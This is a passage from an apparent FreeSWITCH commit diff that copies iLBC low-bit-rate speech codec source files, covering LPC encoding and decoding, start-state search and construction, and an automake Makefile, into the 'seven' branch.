Copied: freeswitch/branches/seven/libs/ilbc/src/LPCdecode.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/LPCdecode.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/LPCdecode.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/LPCdecode.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * LPCdecode.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: LPCdecode.h,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+#ifndef __iLBC_LPCDECODE_H
+#define __iLBC_LPCDECODE_H
+
+void LSFinterpolate2a_dec(float *a,         /* (o) lpc coefficients for a sub-frame */
+                          float *lsf1,      /* (i) first lsf coefficient vector */
+                          float *lsf2,      /* (i) second lsf coefficient vector */
+                          float coef,       /* (i) interpolation weight */
+                          int length);      /* (i) length of lsf vectors */
+
+void SimplelsfDEQ(float *lsfdeq,            /* (o) dequantized lsf coefficients */
+                  int *index,               /* (i) quantization index */
+                  int lpc_n);               /* (i) number of LPCs */
+
+void DecoderInterpolateLSF(float *syntdenum,                    /* (o) synthesis filter coefficients */
+                           float *weightdenum,                  /* (o) weighting denumerator coefficients */
+                           float *lsfdeq,                       /* (i) dequantized lsf coefficients */
+                           int length,                          /* (i) length of lsf coefficient vector */
+                           ilbc_decode_state_t *iLBCdec_inst);  /* (i) the decoder state structure */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/LPCencode.c

Copied: freeswitch/branches/seven/libs/ilbc/src/LPCencode.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/LPCencode.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/LPCencode.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/LPCencode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,229 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * LPCencode.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: LPCencode.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "helpfun.h"
+#include "lsf.h"
+#include "constants.h"
+#include "LPCencode.h"
+
+/*----------------------------------------------------------------*
+ *  lpc analysis (subroutine to LPCencode)
+ *---------------------------------------------------------------*/
+
+static void SimpleAnalysis(float *lsf,                         /* (o) lsf coefficients */
+                           float *data,                        /* (i) new data vector */
+                           ilbc_encode_state_t *iLBCenc_inst)  /* (i/o) the encoder state structure */
+{
+    int k;
+    int is;
+    float temp[ILBC_BLOCK_LEN_MAX];
+    float lp[ILBC_LPC_FILTERORDER + 1];
+    float lp2[ILBC_LPC_FILTERORDER + 1];
+    float r[ILBC_LPC_FILTERORDER + 1];
+
+    is = LPC_LOOKBACK + ILBC_BLOCK_LEN_MAX - iLBCenc_inst->blockl;
+    memcpy(iLBCenc_inst->lpc_buffer + is, data, iLBCenc_inst->blockl*sizeof(float));
+
+    /* No lookahead, last window is asymmetric */
+
+    for (k = 0;  k < iLBCenc_inst->lpc_n;  k++)
+    {
+        is = LPC_LOOKBACK;
+
+        if (k < (iLBCenc_inst->lpc_n - 1))
+            window(temp, lpc_winTbl, iLBCenc_inst->lpc_buffer, ILBC_BLOCK_LEN_MAX);
+        else
+            window(temp, lpc_asymwinTbl, iLBCenc_inst->lpc_buffer + is, ILBC_BLOCK_LEN_MAX);
+
+        autocorr(r, temp, ILBC_BLOCK_LEN_MAX, ILBC_LPC_FILTERORDER);
+        window(r, r, lpc_lagwinTbl, ILBC_LPC_FILTERORDER + 1);
+
+        levdurb(lp, temp, r, ILBC_LPC_FILTERORDER);
+        bwexpand(lp2, lp, LPC_CHIRP_SYNTDENUM, ILBC_LPC_FILTERORDER + 1);
+
+        a2lsf(lsf + k*ILBC_LPC_FILTERORDER, lp2);
+    }
+    is = LPC_LOOKBACK + ILBC_BLOCK_LEN_MAX - iLBCenc_inst->blockl;
+    memmove(iLBCenc_inst->lpc_buffer,
+            iLBCenc_inst->lpc_buffer + LPC_LOOKBACK + ILBC_BLOCK_LEN_MAX - is,
+            is*sizeof(float));
+}
+
+/*----------------------------------------------------------------*
+ *  lsf interpolator and conversion from lsf to a coefficients
+ *  (subroutine to SimpleInterpolateLSF)
+ *---------------------------------------------------------------*/
+
+static void LSFinterpolate2a_enc(float *a,     /* (o) lpc coefficients */
+                                 float *lsf1,  /* (i) first set of lsf coefficients */
+                                 float *lsf2,  /* (i) second set of lsf coefficients */
+                                 float coef,   /* (i) weighting coefficient to use between lsf1 and lsf2 */
+                                 long length)  /* (i) length of coefficient vectors */
+{
+    float  lsftmp[ILBC_LPC_FILTERORDER];
+
+    interpolate(lsftmp, lsf1, lsf2, coef, length);
+    lsf2a(a, lsftmp);
+}
+
+/*----------------------------------------------------------------*
+ *  lsf interpolator (subrutine to LPCencode)
+ *---------------------------------------------------------------*/
+
+static void SimpleInterpolateLSF(float *syntdenum,                     /* (o) the synthesis filter denominator
+                                                                              resulting from the quantized
+                                                                              interpolated lsf */
+                                 float *weightdenum,                   /* (o) the weighting filter denominator
+                                                                              resulting from the unquantized
+                                                                              interpolated lsf */
+                                 float *lsf,                           /* (i) the unquantized lsf coefficients */
+                                 float *lsfdeq,                        /* (i) the dequantized lsf coefficients */
+                                 float *lsfold,                        /* (i) the unquantized lsf coefficients of
+                                                                              the previous signal frame */
+                                 float *lsfdeqold,                     /* (i) the dequantized lsf coefficients of
+                                                                              the previous signal frame */
+                                 int length,                           /* (i) should equate ILBC_LPC_FILTERORDER */
+                                 ilbc_encode_state_t *iLBCenc_inst)    /* (i/o) the encoder state structure */
+{
+    int i;
+    int pos;
+    int lp_length;
+    float lp[ILBC_LPC_FILTERORDER + 1];
+    float *lsf2;
+    float *lsfdeq2;
+
+    lsf2 = lsf + length;
+    lsfdeq2 = lsfdeq + length;
+    lp_length = length + 1;
+
+    if (iLBCenc_inst->mode == 30)
+    {
+        /* sub-frame 1: Interpolation between old and first
+           set of lsf coefficients */
+
+        LSFinterpolate2a_enc(lp, lsfdeqold, lsfdeq, lsf_weightTbl_30ms[0], length);
+        memcpy(syntdenum,lp,lp_length*sizeof(float));
+        LSFinterpolate2a_enc(lp, lsfold, lsf, lsf_weightTbl_30ms[0], length);
+        bwexpand(weightdenum, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+
+        /* sub-frame 2 to 6: Interpolation between first
+           and second set of lsf coefficients */
+
+        pos = lp_length;
+        for (i = 1; i < iLBCenc_inst->nsub; i++)
+        {
+            LSFinterpolate2a_enc(lp, lsfdeq, lsfdeq2, lsf_weightTbl_30ms[i], length);
+            memcpy(syntdenum + pos,lp,lp_length*sizeof(float));
+            LSFinterpolate2a_enc(lp, lsf, lsf2, lsf_weightTbl_30ms[i], length);
+            bwexpand(weightdenum + pos, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+            pos += lp_length;
+        }
+    }
+    else
+    {
+        pos = 0;
+        for (i = 0; i < iLBCenc_inst->nsub; i++)
+        {
+            LSFinterpolate2a_enc(lp, lsfdeqold, lsfdeq, lsf_weightTbl_20ms[i], length);
+            memcpy(syntdenum + pos, lp, lp_length*sizeof(float));
+            LSFinterpolate2a_enc(lp, lsfold, lsf, lsf_weightTbl_20ms[i], length);
+            bwexpand(weightdenum + pos, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+            pos += lp_length;
+        }
+    }
+
+    /* update memory */
+
+    if (iLBCenc_inst->mode == 30)
+    {
+        memcpy(lsfold, lsf2, length*sizeof(float));
+        memcpy(lsfdeqold, lsfdeq2, length*sizeof(float));
+    }
+    else
+    {
+        memcpy(lsfold, lsf, length*sizeof(float));
+        memcpy(lsfdeqold, lsfdeq, length*sizeof(float));
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  lsf quantizer (subrutine to LPCencode)
+ *---------------------------------------------------------------*/
+
+static void SimplelsfQ(float *lsfdeq,  /* (o) dequantized lsf coefficients (dimension FILTERORDER) */
+                       int *index,     /* (o) quantization index */
+                       float *lsf,     /* (i) the lsf coefficient vector to be quantized (dimension FILTERORDER ) */
+                       int lpc_n)      /* (i) number of lsf sets to quantize */
+{
+    /* Quantize first LSF with memoryless split VQ */
+    SplitVQ(lsfdeq, index, lsf, lsfCbTbl, LSF_NSPLIT, dim_lsfCbTbl, size_lsfCbTbl);
+
+    if (lpc_n == 2)
+    {
+        /* Quantize second LSF with memoryless split VQ */
+        SplitVQ(lsfdeq + ILBC_LPC_FILTERORDER,
+                index + LSF_NSPLIT,
+                lsf + ILBC_LPC_FILTERORDER,
+                lsfCbTbl,
+                LSF_NSPLIT,
+                dim_lsfCbTbl,
+                size_lsfCbTbl);
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  lpc encoder
+ *---------------------------------------------------------------*/
+
+void LPCencode(float *syntdenum,                    /* (i/o) synthesis filter coefficients
+                                                             before/after encoding */
+               float *weightdenum,                  /* (i/o) weighting denumerator
+                                                             coefficients before/after
+                                                             encoding */
+               int *lsf_index,                      /* (o) lsf quantization index */
+               float *data,                         /* (i) lsf coefficients to quantize */
+               ilbc_encode_state_t *iLBCenc_inst)   /* (i/o) the encoder state structure */
+{
+    float lsf[ILBC_LPC_FILTERORDER*LPC_N_MAX];
+    float lsfdeq[ILBC_LPC_FILTERORDER*LPC_N_MAX];
+    int change = 0;
+
+    SimpleAnalysis(lsf, data, iLBCenc_inst);
+    SimplelsfQ(lsfdeq, lsf_index, lsf, iLBCenc_inst->lpc_n);
+
+    change = LSF_check(lsfdeq, ILBC_LPC_FILTERORDER, iLBCenc_inst->lpc_n);
+    SimpleInterpolateLSF(syntdenum,
+                         weightdenum,
+                         lsf,
+                         lsfdeq,
+                         iLBCenc_inst->lsfold,
+                         iLBCenc_inst->lsfdeqold,
+                         ILBC_LPC_FILTERORDER,
+                         iLBCenc_inst);
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/LPCencode.h

Copied: freeswitch/branches/seven/libs/ilbc/src/LPCencode.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/LPCencode.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/LPCencode.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/LPCencode.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * LPCencode.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: LPCencode.h,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+#ifndef __iLBC_LPCENCODE_H
+#define __iLBC_LPCENCODE_H
+
+void LPCencode(float *syntdenum,                    /* (i/o) synthesis filter coefficients
+                                                             before/after encoding */
+               float *weightdenum,                  /* (i/o) weighting denumerator coefficients
+                                                             before/after encoding */
+               int *lsf_index,                      /* (o) lsf quantization index */
+               float *data,                         /* (i) lsf coefficients to quantize */
+               ilbc_encode_state_t *iLBCenc_inst);  /* (i/o) the encoder state structure */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/Makefile.am

Copied: freeswitch/branches/seven/libs/ilbc/src/Makefile.am (from rev 14471, freeswitch/trunk/libs/ilbc/src/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,138 @@
+##
+## iLBC - a library for the iLBC codec
+##
+## Makefile.am -- Process this file with automake to produce Makefile.in
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the Lesser GNU General Public License version 2.1, as
+## published by the Free Software Foundation.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+##
+## $Id: Makefile.am,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+
+AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
+
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES = -I$(top_builddir)
+
+lib_LTLIBRARIES = libilbc.la
+
+libilbc_la_SOURCES = anaFilter.c \
+                     constants.c \
+                     createCB.c \
+                     doCPLC.c \
+                     enhancer.c \
+                     filter.c \
+                     FrameClassify.c \
+                     gainquant.c \
+                     getCBvec.c \
+                     helpfun.c \
+                     hpInput.c \
+                     hpOutput.c \
+                     iCBConstruct.c \
+                     iCBSearch.c \
+                     iLBC_decode.c \
+                     iLBC_encode.c \
+                     LPCdecode.c \
+                     LPCencode.c \
+                     lsf.c \
+                     packing.c \
+                     StateConstructW.c \
+                     StateSearchW.c \
+                     syntFilter.c
+
+libilbc_la_LDFLAGS = -version-info @ILBC_LT_CURRENT@:@ILBC_LT_REVISION@:@ILBC_LT_AGE@
+
+nobase_include_HEADERS = ilbc/ilbc.h \
+                         ilbc/version.h
+
+nodist_include_HEADERS = ilbc.h
+
+noinst_HEADERS = anaFilter.h \
+                 constants.h \
+                 createCB.h \
+                 doCPLC.h \
+                 enhancer.h \
+                 filter.h \
+                 FrameClassify.h \
+                 gainquant.h \
+                 getCBvec.h \
+                 helpfun.h \
+                 hpInput.h \
+                 hpOutput.h \
+                 iCBConstruct.h \
+                 iCBSearch.h \
+                 iLBC_define.h \
+                 LPCdecode.h \
+                 LPCencode.h \
+                 lsf.h \
+                 packing.h \
+                 StateConstructW.h \
+                 StateSearchW.h \
+                 syntFilter.h
+
+# We need to run at_dictionary_gen, so it generates the
+# at_interpreter_dictionary.h file
+
+DSP = libilbc.dsp
+VCPROJ = libilbc.vcproj
+
+WIN32SOURCES = $(libilbc_la_SOURCES) msvc/gettimeofday.c
+WIN32HEADERS = $(nobase_include_HEADERS) ilbc.h
+
+DSPOUT = | awk '{printf("%s\r\n", $$0)}' >> $(DSP)
+VCPROJOUT = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ)
+
+$(DSP): msvc/msvcproj.head msvc/msvcproj.foot Makefile.am
+	echo "creating $(DSP)"
+	@(cp $(srcdir)/msvc/msvcproj.head $(DSP); \
+	echo "# Begin Group \"Source Files\"" $(DSPOUT); \
+	for file in $(WIN32SOURCES); do \
+	echo "# Begin Source File" $(DSPOUT); \
+	echo "" $(DSPOUT); \
+	echo "SOURCE=.\\"$$file $(DSPOUT); \
+	echo "# End Source File" $(DSPOUT); \
+	done; \
+	echo "# End Group" $(DSPOUT); \
+	echo "# Begin Group \"Header Files\"" $(DSPOUT); \
+	for file in $(WIN32HEADERS); do \
+	echo "# Begin Source File" $(DSPOUT); \
+	echo "" $(DSPOUT); \
+	echo "SOURCE=.\\"$$file $(DSPOUT); \
+	echo "# End Source File" $(DSPOUT); \
+	done; \
+	echo "# End Group" $(DSPOUT); \
+	cat $(srcdir)/msvc/msvcproj.foot $(DSPOUT) )
+
+$(VCPROJ): msvc/vc8proj.head msvc/vc8proj.foot Makefile.am
+	echo "creating $(VCPROJ)"
+	@(cp $(srcdir)/msvc/vc8proj.head $(VCPROJ); \
+	for file in $(WIN32SOURCES); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+	done; \
+	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT); \
+	for file in $(WIN32HEADERS); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+	done; \
+	cat $(srcdir)/msvc/vc8proj.foot $(VCPROJOUT) )
+
+ilbc/version.h:
+	NOWDATE=`date --utc +"%Y%m%d"` ; \
+	NOWTIME=`date --utc +"%H%M%S"` ; \
+	sed 's/$$ilbc_RELEASE_DATE/'$$NOWDATE'/;s/$$ilbc_RELEASE_TIME/'$$NOWTIME'/' \
+		<ilbc/version.h.in >ilbc/version.h
+
+dist-hook:
+	NOWDATE=`date --utc +"%Y%m%d"` ; \
+	NOWTIME=`date --utc +"%H%M%S"` ; \
+	sed 's/$$ilbc_RELEASE_DATE/'$$NOWDATE'/;s/$$ilbc_RELEASE_TIME/'$$NOWTIME'/' \
+		<ilbc/version.h.in >ilbc/version.h

Deleted: freeswitch/branches/seven/libs/ilbc/src/StateConstructW.c

Copied: freeswitch/branches/seven/libs/ilbc/src/StateConstructW.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/StateConstructW.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/StateConstructW.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/StateConstructW.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * StateConstruct.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: StateConstructW.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "filter.h"
+#include "StateConstructW.h"
+
+/*----------------------------------------------------------------*
+ *  decoding of the start state
+ *---------------------------------------------------------------*/
+
+void StateConstructW(int idxForMax,     /* (i) 6-bit index for the quantization of
+                                               max amplitude */
+                     int *idxVec,       /* (i) vector of quantization indexes */
+                     float *syntDenum,  /* (i) synthesis filter denumerator */
+                     float *out,        /* (o) the decoded state vector */
+                     int len)           /* (i) length of a state vector */
+{
+    float maxVal;
+    float tmpbuf[ILBC_LPC_FILTERORDER + 2*STATE_LEN];
+    float *tmp;
+    float numerator[ILBC_LPC_FILTERORDER + 1];
+    float foutbuf[ILBC_LPC_FILTERORDER + 2*STATE_LEN];
+    float *fout;
+    int k;
+    int tmpi;
+
+    /* decoding of the maximum value */
+    maxVal = state_frgqTbl[idxForMax];
+    maxVal = powf(10.0f, maxVal)/4.5f;
+
+    /* initialization of buffers and coefficients */
+
+    memset(tmpbuf, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    memset(foutbuf, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    for (k = 0;  k < ILBC_LPC_FILTERORDER;  k++)
+        numerator[k] = syntDenum[ILBC_LPC_FILTERORDER - k];
+    numerator[ILBC_LPC_FILTERORDER] = syntDenum[0];
+    tmp = &tmpbuf[ILBC_LPC_FILTERORDER];
+    fout = &foutbuf[ILBC_LPC_FILTERORDER];
+
+    /* decoding of the sample values */
+    for (k = 0;  k < len;  k++)
+    {
+        tmpi = len - 1 - k;
+        /* maxVal = 1/scal */
+        tmp[k] = maxVal*state_sq3Tbl[idxVec[tmpi]];
+    }
+
+    /* circular convolution with all-pass filter */
+    memset(tmp + len, 0, len*sizeof(float));
+    ZeroPoleFilter(tmp, numerator, syntDenum, 2*len, ILBC_LPC_FILTERORDER, fout);
+    for (k = 0;  k < len;  k++)
+        out[k] = fout[len - 1 - k] + fout[2*len - 1 - k];
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/StateConstructW.h

Copied: freeswitch/branches/seven/libs/ilbc/src/StateConstructW.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/StateConstructW.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/StateConstructW.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/StateConstructW.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * StateConstructW.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: StateConstructW.h,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+#ifndef __iLBC_STATECONSTRUCTW_H
+#define __iLBC_STATECONSTRUCTW_H
+
+void StateConstructW(int idxForMax,     /* (i) 6-bit index for the quantization of
+                                               max amplitude */
+                     int *idxVec,       /* (i) vector of quantization indexes */
+                     float *syntDenum,  /* (i) synthesis filter denumerator */
+                     float *out,        /* (o) the decoded state vector */
+                     int len);          /* (i) length of a state vector */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/StateSearchW.c

Copied: freeswitch/branches/seven/libs/ilbc/src/StateSearchW.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/StateSearchW.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/StateSearchW.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/StateSearchW.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,179 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * StateSearchW.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: StateSearchW.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "constants.h"
+#include "filter.h"
+#include "helpfun.h"
+#include "StateSearchW.h"
+
+/*----------------------------------------------------------------*
+ *  predictive noise shaping encoding of scaled start state
+ *  (subrutine for StateSearchW)
+ *---------------------------------------------------------------*/
+
+void AbsQuantW(ilbc_encode_state_t *iLBCenc_inst,   /* (i) Encoder instance */
+               float *in,                           /* (i) vector to encode */
+               float *syntDenum,                    /* (i) denominator of synthesis filter */
+               float *weightDenum,                  /* (i) denominator of weighting filter */
+               int *out,                            /* (o) vector of quantizer indexes */
+               int len,                             /* (i) length of vector to encode and
+                                                           vector of quantizer indexes */
+               int state_first)                     /* (i) position of start state in the 80 vec */
+{
+    float *syntOut;
+    float syntOutBuf[ILBC_LPC_FILTERORDER + STATE_SHORT_LEN_30MS];
+    float toQ;
+    float xq;
+    int n;
+    int index;
+
+    /* initialization of buffer for filtering */
+    memset(syntOutBuf, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+
+    /* initialization of pointer for filtering */
+    syntOut = &syntOutBuf[ILBC_LPC_FILTERORDER];
+
+    /* synthesis and weighting filters on input */
+    if (state_first)
+    {
+        AllPoleFilter(in, weightDenum, SUBL, ILBC_LPC_FILTERORDER);
+    }
+    else
+    {
+        AllPoleFilter(in, weightDenum,
+                      iLBCenc_inst->state_short_len - SUBL,
+                      ILBC_LPC_FILTERORDER);
+    }
+
+    /* encoding loop */
+    for (n = 0;  n < len;  n++)
+    {
+        /* time update of filter coefficients */
+        if ((state_first)  &&  (n == SUBL))
+        {
+            syntDenum += (ILBC_LPC_FILTERORDER + 1);
+            weightDenum += (ILBC_LPC_FILTERORDER + 1);
+
+            /* synthesis and weighting filters on input */
+            AllPoleFilter(&in[n], weightDenum, len - n, ILBC_LPC_FILTERORDER);
+        }
+        else if ((state_first == 0)
+                 &&
+                 (n == (iLBCenc_inst->state_short_len - SUBL)))
+        {
+            syntDenum += (ILBC_LPC_FILTERORDER + 1);
+            weightDenum += (ILBC_LPC_FILTERORDER + 1);
+
+            /* synthesis and weighting filters on input */
+            AllPoleFilter(&in[n], weightDenum, len - n, ILBC_LPC_FILTERORDER);
+        }
+        /* prediction of synthesized and weighted input */
+        syntOut[n] = 0.0f;
+        AllPoleFilter(&syntOut[n], weightDenum, 1, ILBC_LPC_FILTERORDER);
+
+        /* quantization */
+        toQ = in[n] - syntOut[n];
+        sort_sq(&xq, &index, toQ, state_sq3Tbl, 8);
+        out[n] = index;
+        syntOut[n] = state_sq3Tbl[out[n]];
+
+        /* update of the prediction filter */
+        AllPoleFilter(&syntOut[n], weightDenum, 1, ILBC_LPC_FILTERORDER);
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  encoding of start state
+ *---------------------------------------------------------------*/
+
+void StateSearchW(ilbc_encode_state_t *iLBCenc_inst,    /* (i) Encoder instance */
+                  float *residual,                      /* (i) target residual vector */
+                  float *syntDenum,                     /* (i) lpc synthesis filter */
+                  float *weightDenum,                   /* (i) weighting filter denuminator */
+                  int *idxForMax,                       /* (o) quantizer index for maximum
+                                                               amplitude */
+                  int *idxVec,                          /* (o) vector of quantization indexes */
+                  int len,                              /* (i) length of all vectors */
+                  int state_first)                      /* (i) position of start state in the 80 vec */
+{
+    float dtmp;
+    float maxVal;
+    float tmpbuf[ILBC_LPC_FILTERORDER + 2*STATE_SHORT_LEN_30MS];
+    float *tmp;
+    float numerator[ILBC_LPC_FILTERORDER + 1];
+    float foutbuf[ILBC_LPC_FILTERORDER + 2*STATE_SHORT_LEN_30MS];
+    float *fout;
+    int k;
+    float qmax;
+    float scal;
+
+    /* initialization of buffers and filter coefficients */
+
+    memset(tmpbuf, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    memset(foutbuf, 0, ILBC_LPC_FILTERORDER*sizeof(float));
+    for (k = 0;  k < ILBC_LPC_FILTERORDER;  k++)
+        numerator[k] = syntDenum[ILBC_LPC_FILTERORDER - k];
+    numerator[ILBC_LPC_FILTERORDER] = syntDenum[0];
+    tmp = &tmpbuf[ILBC_LPC_FILTERORDER];
+    fout = &foutbuf[ILBC_LPC_FILTERORDER];
+
+    /* circular convolution with the all-pass filter */
+    memcpy(tmp, residual, len*sizeof(float));
+    memset(tmp + len, 0, len*sizeof(float));
+    ZeroPoleFilter(tmp, numerator, syntDenum, 2*len, ILBC_LPC_FILTERORDER, fout);
+    for (k = 0;  k < len;  k++)
+        fout[k] += fout[k+len];
+
+    /* identification of the maximum amplitude value */
+    maxVal = fout[0];
+    for (k = 1;  k < len;  k++)
+    {
+        if (fout[k]*fout[k] > maxVal*maxVal)
+            maxVal = fout[k];
+    }
+    maxVal = fabsf(maxVal);
+
+    /* encoding of the maximum amplitude value */
+    if (maxVal < 10.0f)
+        maxVal = 10.0f;
+    maxVal = log10f(maxVal);
+    sort_sq(&dtmp, idxForMax, maxVal, state_frgqTbl, 64);
+
+    /* decoding of the maximum amplitude representation value,
+       and corresponding scaling of start state */
+    maxVal = state_frgqTbl[*idxForMax];
+    qmax = powf(10.0f, maxVal);
+    scal = 4.5f/qmax;
+    for (k = 0;  k < len;  k++)
+        fout[k] *= scal;
+
+    /* predictive noise shaping encoding of scaled start state */
+    AbsQuantW(iLBCenc_inst, fout,syntDenum, weightDenum,idxVec, len, state_first);
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/StateSearchW.h

Copied: freeswitch/branches/seven/libs/ilbc/src/StateSearchW.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/StateSearchW.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/StateSearchW.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/StateSearchW.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * StateSearchW.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
